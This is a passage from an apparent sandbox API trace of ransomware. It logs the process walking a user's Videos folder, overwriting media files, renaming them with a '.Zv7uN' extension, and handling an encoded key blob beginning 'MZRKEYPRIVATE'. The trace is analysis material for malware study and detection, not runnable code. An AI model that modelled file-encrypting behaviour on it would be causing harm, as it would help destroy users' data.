nNumberOfBytesToRead=0x101d1, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x101d1, lpOverlapped=0x0) returned 1 [0087.071] CloseHandle (hObject=0x104) returned 1 [0087.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\twk rlk6lsza1ob3gqb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.076] WriteFile (in: hFile=0x104, lpBuffer=0x1f2ae00*, nNumberOfBytesToWrite=0x101d1, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f2ae00*, lpNumberOfBytesWritten=0x18f3e0*=0x101d1, lpOverlapped=0x0) returned 1 [0087.080] CloseHandle (hObject=0x104) returned 1 [0087.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\twk rlk6lsza1ob3gqb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\TWK rlk6lsZA1Ob3gqB.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\twk rlk6lsza1ob3gqb.mp4.zv7un")) returned 1 [0087.083] GetCurrentThreadId () returned 0xa30 [0087.083] GetCurrentThreadId () returned 0xa30 [0087.083] GetCurrentThreadId () returned 0xa30 [0087.083] GetCurrentThreadId () returned 0xa30 [0087.083] GetCurrentThreadId () returned 0xa30 [0087.083] GetCurrentThreadId () returned 0xa30 [0087.083] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22797030, ftCreationTime.dwHighDateTime=0x1d5e07f, ftLastAccessTime.dwLowDateTime=0xf4ef65a0, ftLastAccessTime.dwHighDateTime=0x1d5e12f, ftLastWriteTime.dwLowDateTime=0xf4ef65a0, ftLastWriteTime.dwHighDateTime=0x1d5e12f, nFileSizeHigh=0x0, nFileSizeLow=0x101d1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TWK rlk6lsZA1Ob3gqB.mp4", cAlternateFileName="TWKRLK~1.MP4")) returned 0 [0087.083] GetLastError () returned 0x12 [0087.083] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0087.084] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfef5d3c0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0x51d13f80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51d13f80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0087.084] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0087.084] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfef5d3c0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0x51d13f80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51d13f80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.084] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.084] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ce0e50, ftCreationTime.dwHighDateTime=0x1d5e0c8, ftLastAccessTime.dwLowDateTime=0x4237a1e0, ftLastAccessTime.dwHighDateTime=0x1d5e362, ftLastWriteTime.dwLowDateTime=0x51cc7cc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1d21, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="IcBGqKdtFRpsh3FJ5K.mkv.Zv7uN", cAlternateFileName="ICBGQK~1.ZV7")) returned 1 [0087.084] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.084] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94067810, ftCreationTime.dwHighDateTime=0x1d5d9a9, ftLastAccessTime.dwLowDateTime=0xc3bb39e0, ftLastAccessTime.dwHighDateTime=0x1d5dc71, ftLastWriteTime.dwLowDateTime=0x51cede20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9fbe, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="MqJoN1slSECN 8iZ4uI.flv.Zv7uN", cAlternateFileName="MQJON1~1.ZV7")) returned 1 [0087.084] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.084] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22797030, ftCreationTime.dwHighDateTime=0x1d5e07f, ftLastAccessTime.dwLowDateTime=0xf4ef65a0, ftLastAccessTime.dwHighDateTime=0x1d5e12f, ftLastWriteTime.dwLowDateTime=0x51d13f80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x101d1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TWK rlk6lsZA1Ob3gqB.mp4.Zv7uN", cAlternateFileName="TWKRLK~1.ZV7")) returned 1 [0087.085] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.085] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22797030, ftCreationTime.dwHighDateTime=0x1d5e07f, ftLastAccessTime.dwLowDateTime=0xf4ef65a0, ftLastAccessTime.dwHighDateTime=0x1d5e12f, ftLastWriteTime.dwLowDateTime=0x51d13f80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x101d1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TWK rlk6lsZA1Ob3gqB.mp4.Zv7uN", cAlternateFileName="TWKRLK~1.ZV7")) returned 0 [0087.085] GetLastError () returned 0x12 [0087.085] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d1b1c0, ftCreationTime.dwHighDateTime=0x1d5e44b, ftLastAccessTime.dwLowDateTime=0x55dffbd0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0x51be3480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbb9a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="9RgJ1WGSQCpG4JXhxJ.flv.Zv7uN", cAlternateFileName="9RGJ1W~1.ZV7")) returned 1 [0087.085] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.085] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdac8430, ftCreationTime.dwHighDateTime=0x1d5e23f, ftLastAccessTime.dwLowDateTime=0x30bb42a0, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0x51c095e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13cf1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="eEGCUjpx7f_iY-vLAlk.mp4.Zv7uN", cAlternateFileName="EEGCUJ~1.ZV7")) returned 1 [0087.085] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.085] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd530f740, ftCreationTime.dwHighDateTime=0x1d5dd17, ftLastAccessTime.dwLowDateTime=0xd2a38080, ftLastAccessTime.dwHighDateTime=0x1d5d833, ftLastWriteTime.dwLowDateTime=0x51c7ba00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x18b90, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="KjRuBvq-LMhKwa.avi.Zv7uN", cAlternateFileName="KJRUBV~1.ZV7")) returned 1 [0087.085] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.086] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.086] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52fe8d30, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xb9b94530, ftLastAccessTime.dwHighDateTime=0x1d5e7a3, ftLastWriteTime.dwLowDateTime=0xb9b94530, ftLastWriteTime.dwHighDateTime=0x1d5e7a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="oXu8xlNDfHLVRyrz", cAlternateFileName="OXU8XL~1")) returned 1 [0087.086] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.086] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.086] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52fe8d30, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xb9b94530, ftLastAccessTime.dwHighDateTime=0x1d5e7a3, ftLastWriteTime.dwLowDateTime=0xb9b94530, ftLastWriteTime.dwHighDateTime=0x1d5e7a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0087.086] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52fe8d30, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xb9b94530, ftLastAccessTime.dwHighDateTime=0x1d5e7a3, ftLastWriteTime.dwLowDateTime=0xb9b94530, ftLastWriteTime.dwHighDateTime=0x1d5e7a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.086] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5966290, ftCreationTime.dwHighDateTime=0x1d5e0dd, ftLastAccessTime.dwLowDateTime=0x769c150, ftLastAccessTime.dwHighDateTime=0x1d5e250, ftLastWriteTime.dwLowDateTime=0x769c150, ftLastWriteTime.dwHighDateTime=0x1d5e250, nFileSizeHigh=0x0, nFileSizeLow=0x3230, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="2opleEzWe0B wcg.mkv", cAlternateFileName="2OPLEE~1.MKV")) returned 1 [0087.086] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0087.086] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\2opleezwe0b wcg.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5966290, ftCreationTime.dwHighDateTime=0x1d5e0dd, ftLastAccessTime.dwLowDateTime=0x769c150, ftLastAccessTime.dwHighDateTime=0x1d5e250, ftLastWriteTime.dwLowDateTime=0x769c150, ftLastWriteTime.dwHighDateTime=0x1d5e250, nFileSizeHigh=0x0, nFileSizeLow=0x3230)) returned 1 [0087.086] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\2opleezwe0b wcg.mkv")) returned 0x20 [0087.087] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv", dwFileAttributes=0x80) returned 1 [0087.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIs